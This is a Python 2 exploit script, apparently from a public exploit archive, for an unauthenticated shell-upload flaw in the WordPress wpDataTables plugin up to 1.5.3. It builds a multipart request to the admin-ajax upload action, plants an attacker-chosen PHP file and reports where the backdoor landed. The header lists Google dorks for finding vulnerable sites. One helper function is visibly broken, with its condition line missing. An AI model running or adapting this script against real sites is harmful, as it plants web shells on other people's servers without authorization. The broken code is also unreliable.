#!/usr/bin/python # # Exploit Name: Wordpress wpDataTables 1.5.3 and below Unauthenticated Shell Upload Vulnerability #  # Vulnerability discovered by Claudio Viviani # # Date : 2014-11-22 # # Exploit written by Claudio Viviani # # Video Demo: https://www.youtube.com/watch?v=44m4VNpeEVc # # -------------------------------------------------------------------- # # Issue n.1 (wpdatatables.php) # # This function is always available without wpdatatables edit permission: # #    function wdt_upload_file(){ #        require_once(PDT_ROOT_PATH.'lib/upload/UploadHandler.php'); #        $uploadHandler = new UploadHandler(); #        exit(); #    } #    ... #    ... #    ... #    add_action( 'wp_ajax_wdt_upload_file', 'wdt_upload_file' ); #    add_action( 'wp_ajax_nopriv_wdt_upload_file', 'wdt_upload_file' ); #  # # Issue n.2 (lib/upload/UploadHandler.php) # # This php script allows you to upload any type of file # # --------------------------------------------------------------------- # # Dork google:  inurl:/plugins/wpdatatables #               inurl:codecanyon-3958969 #               index of "wpdatatables" #               index of "codecanyon-3958969" # # Tested on BackBox 3.x # # # http connection import urllib, urllib2, sys, re # Args management import optparse # file management import os, os.path   # Check url def checkurl(url):         sys.exit(1)     else:         return url   # Check if file exists and has readable def checkfile(file):     if not os.path.isfile(file) and not os.access(file, os.R_OK):         print '[X] '+file+' file is missing or not readable'        sys.exit(1)     else:         return file  # Create multipart header def create_body_sh3ll_upl04d(payloadname):      getfields = dict()      payloadcontent = open(payloadname).read()      LIMIT = '----------lImIt_of_THE_fIle_eW_$'   CRLF = '\r\n'     L = []    for (key, value) in getfields.items():       L.append('--' + LIMIT)       L.append('Content-Disposition: form-data; name="%s"' % key)       L.append('')       L.append(value)      L.append('--' + LIMIT)    L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', payloadname))    L.append('Content-Type: application/force-download')    L.append('')    L.append(payloadcontent)    L.append('--' + LIMIT + '--')    L.append('')    body = CRLF.join(L)    return body   banner = """    ___ ___               __                                                            |   Y   .-----.----.--|  .-----.----.-----.-----.-----.                              |.  |   |  _  |   _|  _  |  _  |   _|  -__|__ --|__ --|                              |. / \  |_____|__| |_____|   __|__| |_____|_____|_____|                              |:      |                |__|                                                        |::.|:. |                                                                            `--- ---'                                                                                   ___ ___       ______         __         _______       __    __                         |   Y   .-----|   _  \ .---.-|  |_.---.-|       .---.-|  |--|  .-----.-----.            |.  |   |  _  |.  |   \|  _  |   _|  _  |.|   | |  _  |  _  |  |  -__|__ --|            |. / \  |   __|.  |    |___._|____|___._`-|.  |-|___._|_____|__|_____|_____|            |:      |__|  |:  1    /                  |:  |                                         |::.|:. |     |::.. . /                   |::.|                                         `--- ---'     `------'                    `---'                                                                                                                                            Sh311 Upl04d Vuln3r4b1l1ty                                                                  <= 1.5.3                                      Written by:                                    Claudio Viviani                                      info@homelab.it                              homelabit@protonmail.ch                             https://plus.google.com/+HomelabIt1/ """  commandList = optparse.OptionParser('usage: %prog -t URL -f FILENAME.PHP [--timeout sec]') commandList.add_option('-t', '--target', action="store",                   help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",                   ) commandList.add_option('-f', '--file', action="store",                   help="Insert file name, ex: shell.php",                   ) commandList.add_option('--timeout', action="store", default=10, type="int",                   help="[Timeout Value] - Default 10",                   )   options, remainder = commandList.parse_args()   # Check args if not options.target or not options.file:     print(banner)     commandList.print_help()     sys.exit(1)   payloadname = checkfile(options.file) host = checkurl(options.target) timeout = options.timeout   print(banner)   url_wpdatatab_upload = host+'/wp-admin/admin-ajax.php?action=wdt_upload_file'  content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'  bodyupload = create_body_sh3ll_upl04d(payloadname)   headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',            'content-type': content_type,            'content-length': str(len(bodyupload)) }   try:    req = urllib2.Request(url_wpdatatab_upload, bodyupload, headers)    response = urllib2.urlopen(req)      read = response.read()      if "error" in read or read == "0":       print("[X] Upload Failed :(")    else:       backdoor_location = re.compile('\"url\":\"(.*?)\",\"').search(read).group(1)       print("[!] Shell Uploaded")       print("[!] Location: "+backdoor_location.replace("\\","")) except urllib2.HTTPError as e:    print("[X] Http Error: "+str(e)) except urllib2.URLError as e:    print("[X] Connection Error: "+str(e))